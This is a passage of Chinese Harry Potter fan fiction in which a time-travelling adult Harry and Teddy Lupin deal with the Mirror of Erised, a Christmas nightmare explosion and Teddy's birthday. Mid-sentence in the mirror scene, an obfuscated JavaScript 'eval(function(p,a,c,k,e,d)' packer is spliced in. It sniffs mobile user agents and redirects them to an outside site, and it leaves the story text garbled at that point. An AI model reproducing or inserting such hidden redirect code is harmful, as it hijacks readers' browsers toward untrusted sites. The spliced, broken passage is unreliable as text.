“你不打算进去吗?” “不,我有些事想单独和斯内普教授谈谈。”德拉科转身欲走,又忽的扭过头,脸上掠过一抹若有似无的笑容,“斯内普教授和佩弗利尔教授的关系很好?” 这个预料外的问题让泰迪一怔,他低头思索片刻,才说,“这……他们相处得并不好,就像刚刚那样经常会闹僵,可我认为哈利是信任斯内普教授的。” “是吗?” “那是我自己的看法。”泰迪犹豫了会儿,鼓起勇气问,“你为什么会问这个?” 德拉科的表情没什么变化,但语气间却流露出隐隐的嘲讽意味,“我只是有点好奇,我印象中的斯内普教授是个喜欢独来独往的人。虽然他和我们家关系还不错,但我很难想像佩弗利尔教授能和他那样的人和平共处。” 这句话不怎么中听,一向脾气好得很的泰迪也忍不住微微变了脸色,“人是会变的吧。” “也对。”德拉科不再停留,头也不回地径自往斯莱特林地窖方向走去。 泰迪在原地愣怔了好一会儿,他觉得自己完全摸不清德拉科的态度。他本以为大家的关系缓和不少,可眨眼间又像距离被拉得更远了。和小哈利拌嘴挑衅时的幼稚行为,以及刚刚淡然冷漠的姿态,哪一个才是真正的德拉科·马尔福? 懒得再去打扰哈利,泰迪压下心里不舒服的感觉,回到闹哄哄的格兰芬多公共休息室。他轻易地找到坐在靠窗角落里做作业的罗恩等人,赫敏正在帮他们检查草药论文。 “罗恩,我想你上课时没仔细听斯普劳教授的话,魔鬼网喜欢阴暗和潮湿,它们怕火而不是用来烧火的。”赫敏无奈地指出罗恩的一项错误后,抬头看到泰迪正好走了过来,“泰迪,你找到佩弗利尔教授了?” 泰迪顿住,摇了摇头,“我倒是在教工休息室外遇到了德拉科。” “哼,别给我提到他的名字。”小哈利嫌恶地说,“要不是他我可能就能破格进格兰芬多的魁地奇球队了。” “那么他也会破格进斯莱特林球队。”罗恩边草草修改论文边插嘴。 “没差,反正我一样会把他打得落花流水的。”小哈利拍拍自己的胸膛,鼻子扬得高高的。 当泰迪他们傍晚时分踏入礼堂的时候,里面早已被布置得极具万圣节特色——在空中上下飘浮的南瓜灯,上千只蝙蝠在天花板盘旋,飞经之处一定会撒下各式各样的糖果,引得低年级的学生乐呵呵去捡糖,高年级的学生要不就是不愿和小孩子抢糖吃,要不就干脆用飞来咒召来几把糖果。 晚宴的菜肴比平时丰盛许多,邓布利多一宣布用餐,整个礼堂便到处响起刀叉叮叮当当的愉快声音。 除了一个人以外。 相比起狼吞虎咽的罗恩和小哈利,泰迪只是象征性吃了两口,就失去了食欲。他往教工桌子看去,哈利正和弗利维教授高谈论阔,斯内普则在另一边安静地用餐。 “泰迪,你才吃这么点就不吃了?”对面的赫敏忽然大惊小怪地叫道。 “说实话,你脸色不好。”罗恩凑过来,手里还拿着只鸡腿。 “不,他这几天看上去都没精神。”小哈利回道。 “泰迪,你要不要去找庞弗雷夫人看看?”连纳威都伸过头来弱弱地建议。 面对众多的关心,泰迪一时也不知道怎么回应才好,最后只好找了个借口提早离开了礼堂。可他没打算去医疗室找庞弗雷夫人,他只想快点回寝室去。自己很不对劲,他想。 这不是第一次。 自从在那节飞行课上受伤以来,泰迪总是心神不宁。他肯定自己漏掉了什么重要的事,可就是想破脑袋也想不起来。有时候记忆的闪光是掠过脑际一瞬而逝,等他回过神来早就无影无踪了。 明明一切都很正常,但他就是会时不时被不可名状的怪异感牢牢攫住。 渐渐远离礼堂里的喧嚣声,泰迪刚走过一段空荡荡的走廊,便看到一个全身裹着黑长袍、淡黄色头发的高瘦男子匆匆消失在前方的右拐角处。 泰迪心里没由来的一个咯噔。 那股说不清道不明的怪异感再度笼罩过来,这次尤为强烈。 那个人并不是任何一个教授,也没有穿着学生长袍。可不知怎的,泰迪觉得他见过这个男的。在不安的驱使下,他加快脚步,打定主意跟上去看看。就在他蹑手蹑脚经过男生盥洗室时,门开了,他和出来的克拉布和高尔打了个照面。高尔提了提裤子,粗声粗气地问,“你在这里干什么,卢平。做间谍吗?” 没时间搭理他们,泰迪把堵在走廊里的两人推开,三步并作两步转过拐角,生怕会跟掉那人——但已经晚了。入目的是一条阴暗狭窄的走廊,而且尽头是堵墙,显然是走不通的。可里面空无一人。那个人凭空消失了?泰迪有些傻眼。 可能是不肯死心,他还是走进那条走廊。走了约莫一半多的路程,走廊的两面除了墙还是墙,明显再走下去也是白搭。泰迪郁闷地决定打道回府,此时左前方的一扇门引起了他的注意。泰迪的心怦怦跳起来,他尝试去推门,可门是紧闭的。“阿霍拉洞开。”他拔出魔杖念道,咿呀一声响,门自动往里打开了。 “荧光闪烁。”他举起魔杖照亮眼前的黑暗,环顾四周后还是失望地叹口气——这不过是一间被废置很久的教室,搁置着一面与这间教室并不协调的镜子。 “你在这里做什么?” 忽然冒出的声音不算响,可在这极度安静的环境下,却如同炸了个响雷般震得泰迪心头狂跳。他惶惶然转过头,等看清来人是谁后紧张的心情才松弛下来,“德拉科?你怎么——” 悄声无息出现在他身后的是德拉科·马尔福,带着一贯的傲慢。 德拉科挑起眉毛,“那两个家伙——”他指指外面,“吃得太多结果拉肚子。我来盥洗室找他们时,是他们告诉我你在这里的。” “哦。”泰迪含糊地应道,绝口不提那个神秘男人的事。毕竟德拉科还算不上能分享秘密的伙伴。 幸亏德拉科似乎没有问下去的欲望,他现在看着前面的那面镜子,“这镜子真奇怪。” 泰迪顺着他的视线看去——镜子十分气派,高度直达天花板,可乍看过去,里面却是空空如也,似乎什么也没照出来。 德拉科已经跨近几步,站到镜子的正中央,泰迪看到镜面总算映出德拉科的样子。可令他不解的是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156361|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜子里照出来的德拉科满脸震惊,眼睛里却散发出异彩。 “德拉科?” 没有得到德拉科的回应,泰迪兀自打量起这面镜子来——整面镜子被嵌在华丽的金色镜框里面,镜框顶端刻有一行字:「厄里斯斯特拉俄里耶特齐斯奥斯莱特乌比斯诺通利维斯农厄索瑟特」。泰迪在心中默念几遍,最后不得不放弃探寻它的意思,不排除它本身就是毫无意义的文字,当然也有可能是古老的魔文符箓。 “居然是厄里斯魔镜。”德拉科终于开口了。他深深吸了口气,言语间带着些兴奋,“比我想象的还要不可思议。” “厄里斯魔镜?”泰迪反射性地抬眼望向镜子顶端,寻找着句首第一个词,“这是它的名字?” “是的,我曾听我父亲提到过。”德拉科露出耐人寻味的笑容说,“简单说来,我们在镜中看见的不是自己的模样,而是我们内心深处最强烈的渴望。这是面渴望之镜。” “内心的渴望?”泰迪愕然地看着德拉科,又看看镜子里映出的他,“可是我在镜子里看到的你并没有变化啊?”他随之不解地皱起眉头。 “只有本人才能看到自己内心的渴望吧。” “那你看到了什么?” 德拉科神秘一笑,然后用拽到极点的口气说,“我看到一个没有波特的世界,我受够他了。”德拉科说得轻描淡写,泰迪有种莫名的直觉,也许他并没有说实话。但他很快便释然了,那可是别人的隐私啊。 “你要看看吗?”德拉科挑起一丝轻浮的笑容,走到旁边让出位置,看得出他照完魔镜后心情非常的好。 泰迪却没有立刻走上去,而是在原地踌躇不前——他不确定自己是不是真的想知道潜藏在心底的渴望是什么。 就在他终于鼓足勇气决定去一窥究竟之际,房间忽然大亮。 “我以为现在已经接近宵禁了?”低沉的声音在他们背后响起,两个孩子不约而同打了个寒噤,好半天才战战兢兢地转过身面对臭着脸的斯内普。 “斯内普……教授……”德拉科讪笑。 “我们只是……”泰迪低头绞手指。 斯内普鼻子里哼了声,“别试图编造拙劣的理由,这间教室不是随便什么人都能进来的,你们为什么不滚回你们温暖的被窝去睡觉呢?在我改变主意要扣分之前。” 两个孩子讪讪地被赶离这间教室,泰迪离开前还最后看了魔镜一眼。斯内普没有跟着离开,他久久停留在镜子的前面,面对魔镜里的诱惑,扭曲出一个自嘲的笑容,“原来连我自己也看不透自己的心了。” 随后,斯内普又仰头凝神注视着那行字,他轻轻念道,“厄里斯斯特拉厄赫鲁阿忆特乌比卡弗鲁阿伊特昂沃赫斯。我显示的不是你的脸而是你内心的渴望……吗?”(注1) “不过是偷窥别人隐私的破玩意。” “精辟,波特加五分。”斯内普微微勾起嘴角,“你还要躲到什么时候?” “早知道你会跑来找他们的话我就不用白费力气了。”哈利大大咧咧地从某个阴暗角落跑了出来,看向魔镜的目光中流露出怀念,“没想到这面镜子在这儿。” “危险的镜子,许多人在它面前虚度光阴,为它疯狂、为它痴迷,分不清现实和梦幻,甚至从此失去踪影无处可寻。”斯内普瞥了他一眼,冷冷地分析。 “我就是曾经痴迷过的人,如果不是邓布利多——”哈利苦笑着站到了镜子前面,表情却一瞬间变得很古怪。 斯内普向他投来疑惑的眼光。 “我11岁时在镜子里看到我的父母,还有别的家人。”哈利仿佛浑然不觉斯内普突变的脸色,摸着下巴自顾自说下去,“可现在却只能看到我自己的模样。难道我成了世界上最幸福的人?哈,怎么可能……” 说着他又貌似毫不在意地问,“斯内普,你看到——” “就和你父亲一样喜欢多管闲事!波特。”斯内普不客气地打断哈利的话,转身就走,“我想我没有义务向你汇报我的隐私。” “别以为我不知道你想要什么。”哈利低声咕哝着,耸耸肩也跟了出去。从头到尾他都没去注意厄里斯魔镜顶上那行起了变化的文字,因此也忽略了那句将和他未来切切相关的话。 「erisedstraehriehtkeesoslatubeesylnotonlliwsenonesohceht」(注2) ================================================================= 注:1.原作里是erisedstraehruoytubecafruoytonwohsi,倒过来重新排序就是,Ishownotyourfacebutyourheart''sdesire. 2.「erisedstraehriehtkeesoslatubeesylnotonlliwsenonesohceht」是「厄里斯斯特拉俄里耶特齐斯奥斯莱特乌比斯诺通利维斯农厄索瑟特」的英文版本。 3.原作某些设定会有所改动,请做好心理准备来适应。 厄里斯魔镜上的铭文。 完整版是Thechosenoneswillnotonlyseebutseektheirheart''sdesire. 翻译过来:被选择的人们不止会看到,也将会追寻他们心中的渴望。 24. 圣诞惊梦 一进入十一月份,天空如同褪了色,灰濛濛的渗着阴冷的感觉,天气骤然变冷。霍格沃兹的学生们都开始在学生长袍里穿上厚厚的毛衣。但天气的寒冷并没有使得大家的热情降温,因为众所期盼的魁地奇赛季开始了。万圣节那晚在废弃教室里看到的厄里斯魔镜早已被哈利几人抛到脑后,泰迪虽然为自己没来得及去照一次而感到遗憾,但顶多不过是好奇心作祟,不久就在热火朝天的魁地奇讨论中淡忘了那面神奇的镜子。倒是在万圣节后第二天,他把有关神秘男人的事,以及自己莫名的不安一并告知了哈利。哈利听完后大皱眉头,左手托着下巴,双眼死盯着桌子上用来关格林迪洛的玻璃箱,久久不吭一声。就在泰迪以为哈利的眼光都快要把玻璃箱给刺穿两个洞时,哈利忽然转头严肃地对他说,“这件事我会和邓布利多他们去商量,至于你,下次再看到那人立刻告诉我,并且离他远点知道吗?”泰迪知道哈利是在担心什么,于是乖乖地点了点头。 此事算是告一段落,接下来就是周六格兰芬多对斯莱特林的第一场魁地奇比赛。少了奇洛的捣乱,这次的比赛进行得很顺利。双方你争我夺,比赛如火如荼地进行了快两个小时,最后在斯莱特林爆发的欢呼声中结束了整场比赛。小狮子们却一个个都哭丧着脸——最后的确是斯莱特林找球手先抓住飞贼,但两队总分相差不过20分。哈利对这个结果倒不意外——格兰芬多今年并没有优秀的找球手,六年级的弗南德的飞行技巧只能算中等偏高,和斯莱特林的高斯的水准其实不相伯仲。问题是他眼力不行,飞贼好几次就在他身边大摇大摆地跳八字舞他都没看见,失败是预料之中的。 当然身为原格兰芬多球队的王牌找球手,哈利心里也有个小人在暗暗捶胸顿足,但面对深受打击而垂头丧气的那几只小狮子,他很好地扮演了成熟的劝解者,并成功使得小狮子们再次露出笑脸——魁地奇比赛还有三场,在分数相差不大的情况下谈胜负未必过早。哈利对自己身为师长的表现十分满意,可转身看到斯内普面带得意洋洋到欠扁的假笑,目不斜视地从他身边经过,显然是刻意无视他存在时,哈利想要阿瓦达他的冲动立刻就忍不住了。 “你们几个!”哈利猛地回头,眼中燃起的熊熊烈火让几个孩子都悄悄蹭后几步,“如果打算明年入队,我可以私下提供训练和指导,确保你们都能入队并打败斯莱特林!若是有需要的话,我会考虑去申请做格兰芬多队顾问的。” 孩子们面面相觑,心中不约而同浮起个念头——明年的魁地奇赛季,看来会很精彩。 …… 在圣诞节来临之前,霍格沃兹度过了一段波澜不惊的日子。 圣诞假期前最后一节黑魔法防御课的内容是学习红帽子的特性。小哈利趁着哈利演示对付红帽子的空档,凑近泰迪的耳边低声问,“佩弗利尔教授最近怎么了?上个星期上课时也是顶着两个黑眼圈,一副睡眠不足的样子。” 泰迪拧着眉头,“他好像一直在查关于什么……缇瓦之链。你们知道那是什么吗?”其实哈利在调查的东西显然不只是这一项。但哈利并不愿泰迪牵涉过深,因此泰迪知道的也很有限。 “我只知道那是人鱼的宝物。赫敏你说呢?”罗恩期待地看着赫敏,可令他们失望的是,被誉为智慧囊的赫敏也摇摇头。 “为什么他要找缇瓦之链的资料?”小哈利偏着头自言自语道。 “因为我想知道缇瓦之链的用途。” “佩弗利尔教授找了那么久都找不到,图书馆开放区的书是肯定不会有的。”小哈利摸着下巴,忽然脑子里冒出个大胆的想法,眼珠子转了圈,悄声提议道,“我们要不要偷偷去禁书区翻翻?说不定能先一步找到呢!” “不错的主意,去之前记得把我布置的作业都做完,然后来找我要张条子。” 小哈利的五脏六腑瞬间冻结,因兴奋而不自觉挥舞的手还停在半空中。 哈利笑眯眯的脸就在他头上。而来不及提醒的泰迪、罗恩和赫敏只能同时投以小哈利同情的目光。 “佩弗利尔教授扣起分来还真不留情。”刚迈出教室,走廊里迎面而来的刺骨寒风让小哈利打了个哆嗦。 赫敏朝他翻了个白眼,“是你自己上课不专心,还好我后面把分都拿回来了。你应该庆幸这是黑魔法防御课而不是魔药课。” 魔药课三个字包含的寒气比冬天的北风还要冷上几分,小哈利一听就把长袍裹得更紧些,“我讨厌魔药课。除了泰迪哪个格兰芬多会喜欢魔药课?” “呃——”见自己也被扯进来,泰迪吐了吐舌头。斯内普对他特别偏心的事早已传遍整个学校,以至于在头几个星期魔药课地窖的地板上,小蛇和小狮子们掉的下巴随处可捡。 “你会讨厌,那是因为你四肢发达,只适合做体力活。”后面传来德拉科拖着长腔的声音,“你们能不要四个人并排走,让点路出来吗?” “马尔福!”小哈利恶狠狠地回头,“你这话什么意思?” 德拉科无辜地摊手,“一定要我说得那么清楚以你那和巨怪可以媲美的脑袋根本做不来精密的魔药制作吗?”他说完便施施然越过他们离开了,跟在他身后的高尔和克拉布大声哄笑起来,还不停回头做鬼脸。 “瞧他那副得意劲!”小哈利酸溜溜地说,“不就是斯莱特林赢了一场嘛。” “还没比赛前他就鼻子翘天了。”罗恩右手拳头狠狠打在左手手心里,“我看他肯定一早就认为斯莱特林铁定会赢。” “事实上他们是赢了。”赫敏说。 …… 圣诞节的清晨,天空簌簌落落飘下棉絮般的雪花,待得大家都起床的时候,霍格沃兹的城堡已经铺上白皑皑的一层雪霜。 在阴冷的地窖中,斯内普紧抿着薄薄的唇,下意识地把弄着手中那支能自动列出所有魔药用途的羽毛笔,额间印出消不去的皱纹。 这是他近十年来唯一收到的圣诞礼物。以前还会有个女孩坚持每年送他礼物,直到十年前他把礼物原封不动地退回去为止。从此,收不收到圣诞礼物,对他都没意义。 圣诞节是全家团圆的日子,对西弗勒斯·斯内普而言,从来是无缘的。不管是过去,现在,还是未来。 轻轻把泰迪送的圣诞礼物搁在桌上,他往椅背重重一靠,长叹一口气。 那次照过厄里斯魔镜后,他开始被奇怪的梦所缠身。在梦中,他永远失去了他的宝物。不可饶恕的罪孽用它的尖牙利爪把他撕裂成两边,其中一边怀着深深的自责,另一边充斥着刻骨的恨意。他想在悔恨的地狱里静待死神,他不能。他恨不得亲手碾碎心中的仇恨,他还是不能。两种极度矛盾的情感成为占据他灵魂的阴影,而他沉湎其中不得自拔,再也无法把它们驱逐出去。 于是他不断地告诉自己,他只需要剩下恨、恨、恨! 可两种情感终究是渐渐混为一体,最后他到底是带着怎样的心情去注视那对让他又爱又恨的绿眼睛的? 他对那个人说‘看着我’。 那个人是谁? 是的,他以为一定会是莉莉,他内心最深处的渴望。 但哪里不对劲。 那双祖母绿的眼睛。究竟是谁的? 斯内普手捧着头,用低不可闻的声音说,“我一定是疯了。” …… 哈利手里摆弄着泰迪送给他的猫头鹰闹钟。闹钟的外形是只棕色的猫头鹰,它不仅会在设定好的时间尖声鸣叫,还会在睡懒觉的家伙头上啄个不停。甚至还被施了好几重咒语,别指望能用静音咒让它静下来,或者用四分五裂破坏它。对于这个强悍的功能,哈利无奈地笑笑,“我不就睡晚了一次,有必要送这么……麻烦的闹钟吗?” 闹钟被扔在床上,哈利动手去拆别的礼物。看着床脚边那一小堆包裹——好像很久没有收到这么少圣诞礼物了,哈利心想。以前还会有罗恩的、赫敏的、海格的…… 他拿起一个鼓鼓囊囊的大包裹,手里沉甸甸的重量令他的动作出现一霎那的停顿。 再熟悉不过的礼物了。为什么她会送他? 哈利收起惊讶的表情,把纸包放在膝上,瞪着它发呆了很久,才以近乎虔诚的态度,小心翼翼地打开那个纸包——自制的乳脂糖,及一件鲜绿色的手织毛衣,金色的线在胸口处绣了大大的“DADA”几个字母。哈利噗嗤一声笑了,飞快地用袖子擦了擦眼睛,毫不犹豫地把毛衣套了上去。 当哈利来到礼堂参加圣诞宴会时,大部分的学生都已聚集在那儿了。他一眼就看到泰迪和罗恩以及韦斯莱兄弟坐在一起,泰迪的身上也穿着件棕红色的‘韦斯莱毛衣’。 “嘿!快瞧——”乔治蹦起来指着哈利,“怎么连佩弗利尔教授都穿着妈妈织的毛衣?” 罗恩的脸红到了耳朵根。 “上面还绣了DADA。”弗雷德一拍额头,呻吟一声,“妈妈在绣的时候就没觉得奇怪吗?” “难道不是黑魔法防御课的意思吗?(注1)”泰迪眨眨眼。 “我看着比较像——”弗雷德说。 乔治接上去,“爸爸——”(注2) “噗——”泰迪不怎么文雅地笑出了声,赶紧用手捂住自己的嘴。 霍格沃兹的圣诞宴会是所有节日宴会中最疯狂的。每个人,包括多数教授在内,都忘形地又吃又喝,或者点燃巫师彩炮爆竹大肆庆祝。尤其是教授们平时的形象,不管是严肃还是随和,如今都和他们头上的尖顶帽一样歪在了一边——大概除了斯内普,他在宴会上忘形的可能性比他在魔药制作上出差错的几率还要小。 宴会进行到最后,大家都顶着撑到极限的肚皮,耷拉着眼皮东倒西歪地回到各自的休息室。泰迪和罗恩他们去疯玩了一下午的打雪仗后,晚上跑来哈利这里过夜。按他的说法,圣诞夜得和自己家人一起过。 冬天的黑夜来得特别早,肚子里装满火鸡和蛋糕的哈利和泰迪没多做什么就早早躺到了床上。 两人安静地躺了一会儿,毫无睡意的哈利翻了个身,对闭着眼但明显也没睡着的泰迪说,“我今天好像还没和你说过圣诞快乐。圣诞快乐,泰迪。” “也祝你圣诞快乐,哈利。”泰迪睁开眼狡黠一笑,“喜欢我给你的礼物吗?” 哈利翻了个白眼,“棒极了!” 泰迪捂在被子里偷偷地发笑。 “圣诞假期后马上就是你的生日了。”哈利忽然说道。 泰迪一愣,哈利不说他还真给忘得一干二净。原来他们来到这个时代,已经快半年了。 “生日想怎么过?”哈利提议,“就在我办公室开宴会?可以叫上罗恩、赫敏,另一个哈利——” “我没告诉过他们我的生日是哪天。”泰迪摇头,“我想过6岁的生日。” 这回轮到哈利愣住了。 的确,泰迪平时的表现就和普通11岁的孩子没什么两样。 所以很容易就会 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哈利先是做了些乱七八糟的梦,他梦见泰迪在上课时忽然缩小到3岁左右的模样,并哇的大哭起来。他慌慌张张跑去想抱起他,泰迪却推开他,瞪着天真无辜的大眼睛说,“我不要你!我要我的教父!”哈利辩解说他就是他的教父,可泰迪却嘟起嘴背对着他,然后忽然欢叫着朝另一个方向跑去并冲进某个人的怀里。居然是斯内普。不知道为什么,斯内普面露乌姆里奇似的笑容,令哈利有种作呕的感觉。“听说你想拐带我的教子?”斯内普单手抱起泰迪,连声音也变得和乌姆里奇一样甜腻腻的。可哈利已经顾不上去想这有多么荒唐。“我才是他教父!我们决斗!”哈利怒吼。斯内普带着胜利的笑容抽出魔杖,“泰迪宝贝喜欢谁谁就是他教父。对吧?”泰迪在斯内普的脸上重重啵了一口。“滑稽滑稽!”一道红光向哈利袭来—— 红光过后,梦幻化了—— 砰——! 一声震耳欲聋的爆炸声打破了黑夜的寂静。整幢城堡在爆炸中摇摇欲坠。 睡得迷迷糊糊的学生们大多被巨响惊醒,有些人睡眼惺忪地跑去窗边看是不是外面在打雷,直到看到城堡某一处被炸出个洞并冒出浓烟后才惊呼出事了。 “阿不思!”麦格教授还穿着睡衣就急匆匆地往校长室小碎步跑来。 校长室外已经聚集了不少惊慌的教师。 “米勒娃,你来得正好。”邓布利多神色凝重地说,“请你带着其他教授去各个学院宿舍安抚下学生的情绪。暂时让他们留在各自的宿舍里不要乱跑。” 麦格教授失去了平常的冷静,她的声音在颤抖,“可那个爆炸是——” “就爆炸方位看来,应该是发生在哈利的办公室。” 本就不安的教师们立刻骚动起来。 “安静!”邓布利多苍老的脸透着疲惫,但威慑力依然十足,“我现在就和西弗勒斯去看看哈利的情况。这段时间内请尽好你们的职责,先别和学生提起这件事。” “我们走吧,西弗勒斯。” 斯内普僵硬地点点头。 还未走进哈利的办公室,门外已是一片狼藉。而办公室内的景象更是乱到难以想像的地步。 “哈利!哈利!快醒醒!” 邓布利多和斯内普对视一眼,以最快的速度闯进办公室的里间。只见卧室里的床已经彻底塌了,泰迪和哈利就处在床的正当中。 哈利并没有恢复意识,只是下意识地死死捂住火烧般的伤疤,蜷缩在床上痛苦地呻吟着,任泰迪再怎么用力地摇他也仍是一动不动。邓布利多两人的到来显然给满脸绝望的泰迪带来一线曙光,“邓布利多教授!西弗!哈利他醒不来!” “泰迪,别担心。”邓布利多露出让他安心的笑容。旁边的斯内普开口了,“阿不思,你看地上。” 邓布利多的视线移到地上,哈利的影子被拉得长长的,在夜色中不断变幻——如今正好变成一条盘起来、嘴吐蛇信子的巨蛇形象。 “原来如此。”在看到巨蛇影子的一瞬间,邓布利多眼睛微微眯起来,拔出魔杖。 “原形毕露。” 哈利的影子眨眼间就缩回正常的大小。而影子的旁边多出一团黑乎乎的液态生物。 伯达克在地上蠕动着,被斯内普一脚踢进掉落在角落里的盒子里。 旁边传来哈利的干呕声,看来伯达克一被赶出来他就恢复了意识。泰迪茫然无措地呆滞在原地,过了会儿才醒悟过来,急急忙忙地跑去抚摸哈利的背帮他顺气。 大口大口喘着气,哈利满脸都是冷汗。他硬撑着想要站起来,泰迪赶忙扶住他,但小孩子的力量毕竟是有限的,就在哈利力竭又要跌倒之际,一个力量从后面托住他,哈利虚弱地回过头,“虽然我觉得你并不在乎,还是谢了。”斯内普脸绷得紧紧的,从鼻子里哼了一声。 “哈利,这到底是——”邓布利多疑虑重重的目光看向他。 “是我的疏忽,这回麻烦了,阿不思。”长叹口气,哈利闭上眼睛,回想在梦中看到的那一幕。 …… “所以你这次是有所收获了?” “是的,我的主人,我终于不负您的期望,把它带回来了。” ——那是拉文克劳的王冕。 ==================================== 注:1.黑魔法防御课的英文是DefenceAgainstDarkArt,缩写就是D.A.D.A.。 2.幼儿会叫爸爸(Dad)为(Dada)。 25. 禁林深处 泰迪一口气吹灭了六根蜡烛。 “生日快乐!”哈利高声说,又兴致勃勃地问,“你刚刚许了什么愿望?” 泰迪眨眨眼,一副神秘兮兮的样子,“哦,这是秘密。” 哈利无所谓地耸耸肩,“那么就来看看你的生日礼物吧。”他拿出搁在桌子底下的细长包裹。 包着礼物的牛皮纸并不厚,泰迪一摸就立刻猜出了里面的内容。 “天啊,是飞天扫帚!”他充满感激地抱住哈利,“太棒了!谢谢你,哈利!”说完迫不及待地扯开包裹,金灿灿的“光轮2000”几个大字顿时出现在他眼前。泰迪爱不释手地摸着自己的新扫帚,眼睛飞快地在线条优美的杆身上掠过,最后目光落在哈利快活的脸上,两眼闪闪发光,“我能现在就骑骑它吗?” “那可不行,现在太晚了。况且一年级新生不能带自己的扫帚到学校,所以暂时还得存放在我这儿。”哈利笑着摇摇头。 泰迪失望地嘟起嘴,但随之又绽开满脸笑容,“好吧,那你得在暑假教我魁地奇。” 接着,两人的视线同时转向连一句生日快乐也吝于出口的斯莱特林院长。泰迪自然是期待万分,哈利的眼神中则隐隐含有威胁意味——如果斯内普敢空手而来,他不介意给泰迪来场现场决斗表演。 把哈利的虎视眈眈的目光视若无物,斯内普面无表情地从口袋中掏出一小瓶金色的液体。哈利睁大了眼睛,“福灵剂?” “福灵剂是什么?”泰迪完全摸不着头脑。 斯内普瞥了哈利一眼,淡淡地说,“幸运药水,这瓶的份量足以带来24小时的好运。但我得提醒你,在任何比赛或考试时使用它是被禁止的。” “把它收好吧。”哈利眼神复杂地看了看斯内普,对泰迪说道,“这个礼物很珍贵,在有必要的时候再用。” 泰迪点点头,珍而重之地把它收起来,并眉开眼笑地对斯内普道谢。斯内普“嗯”了一声,板着的脸稍微柔和了些。 接下来分蛋糕的时候,泰迪忽然问道,“所以你们最近调查得怎么样?”他这句话一出口,哈利和斯内普的脸色不约而同地难看起来。 圣诞节那次爆炸后,哈利和邓布利多他们在校长办公室整整关了一天,泰迪不知道他们到底得出什么结论,但出来后的哈利表情是前所未有的沉重。与此同时,这次的“神秘爆炸事件”第二天就在学生间传得沸沸扬扬,每次哈利经过他们时都会引发一阵窃窃私语,而这种情况一直持续到圣诞假期结束。有些学生猜测是狼人来袭击哈利,也有人说哈利在偷偷制作危险魔药时把坩埚炸了。当然,真相除了几个当事人外没人知道——说到底不过是由噩梦引起的魔力失控罢了。 可这个噩梦却引爆了一场阴谋。 “还是没线索吗?”见哈利不吭声,泰迪担忧地问。 “不,有发现,我们大概猜到了伏地魔的目的。”胡乱搔搔脑袋,哈利叹了口气,“但很困难,根本无从下手。” “如果不是拜某个自以为是先知,实则神棍的家伙所赐,也许我们现在也不用像无头苍蝇一样茫无头绪了。”斯内普尖酸刻薄的措辞倒是从来没对哈利吝啬过。 泰迪识趣地把自己埋在蛋糕里,这时候插话显然是不明智的——这两人又要开始了。 果然,哈利立马像被炸了毛的猫似的跳起来,“你是在指责我吗,斯内普?” 斯内普假意看了看四周。“我看不到这里还有别人。” “你的意思是说现在这种局面都是我造成的咯?” “我只是感叹一下从未来回来的伟大的黄金男孩不过如此。” 本是斯内普随口的一句讽刺,可脱口而出的称呼让哈利顿时泄了气。 他没再争论下去,一屁股坐下来,开始闷头吃蛋糕。斯内普眼中闪过狐疑的光,但哈利垂下眼睑,当作没看见。一时间,众人只是默默吃着蛋糕,极有默契地不再提及刚刚的话题。 最后,这场安静到诡异的生日宴会——如果还能称之为宴会的话——在宵禁的钟声响起时结束了。 “虽然今天是你的生日,但明天的论文还是得交。”扔下这句话后,斯内普以最快的速度离开了哈利的办公室。 哈利一直低着头,叉子早已把盘子里的蛋糕搅得不成形状了。他仿佛没注意斯内普的离去,神情淡然地问了句,“泰迪,如果以后我们能找到回去的方法,你想回吗?” 泰迪目不转睛地注视着哈利,灰色的眸子里忽然充满悲哀。 “哈利,这里让你感到不快活吗?” 哈利回答不出来。 或许对于泰迪来说,来到这里顶多算是换了个新环境。他不用费什么力气就能轻易地融入这个时代。但对于哈利来说,这仅仅是个过去被扭曲的世界。他虽然乐于见到大家都平安在世,对一切重头来过的生活也不是没下过决心。只是,在渐渐被染上黑色的未来面前,决心这玩意也往往是不堪一击的—— (“我倾向于认为,伏地魔恐怕是想重铸灵魂。”) 他愈加迷茫了。 …… 哈利手捧着几本备课用的资料书,刚走出书架范围就看到不远处的某张桌上,泰迪他们几个小家伙正神神秘秘地把脑袋挤在一起。他好奇地走近了些,只见桌上散乱地摊开着几本书,还有几本整整齐齐地叠在桌角边,哈利草草扫了眼,好像看到了《龙的饲养与鉴赏》、《危险魔法生物龙之卷》之类的书。 他一下子就明白这些孩子在谋划什么。 “我们可以穿着隐形衣去。”小哈利握着拳头,自信满满地说,“我爸爸给我的隐形衣绝对不会被人发现的。” “可隐形衣不够大!”赫敏小声反驳道,“它只能勉强遮住我们四个人,没法再加诺伯进去了,万一被费尔奇发现——” “不知道海格能不能——”突然,罗恩张大了嘴,动作定格了。 “你怎么说话说一半?”小哈利不耐烦地催促,“罗恩?” 罗恩颤巍巍地伸出手指,指着他们身后的哈利说不出话来。 另外两个这才察觉不对劲,等他们回过头来,表情立刻变得和罗恩一模一样。 “佩弗利尔教授,我们……我们最近对龙比较感兴趣。所以……”赫敏陪着笑,结结巴巴地找借口。罗恩和小哈利都小鸡啄米似的附和着点头,泰迪面不改色地看热闹——瞧哈利的反应就知道以前大概也发生过相同的事。 “原来是这样,龙的确是挺麻烦的生物。”哈利装模作样地摸摸下巴,“我想我可以给你们一个建议。泰迪你为什么不把那个拿出来用呢?”他对泰迪眨眨眼,“每人一小口就够了。”其他人都一脸茫然,只有泰迪露出恍然大悟的神情。 …… 海格焦急不安地在自己的小屋前来回走动,不时往塔楼顶端看两眼,然后就用脏兮兮的手帕抹抹眼角。 “海格!”眼前景色一晃,小哈利他们毫无征兆地出现在他面前。 “梅林保佑,怎么样?”海格也顾不得惊讶他们什么时候回来的,赶忙迎上去。 “成功了!”小哈利对他摆出胜利的手势。海格摩挲着粗造的大手掌,兴奋得连声说,“这就好这就好。” “你们没被人看见吧?” 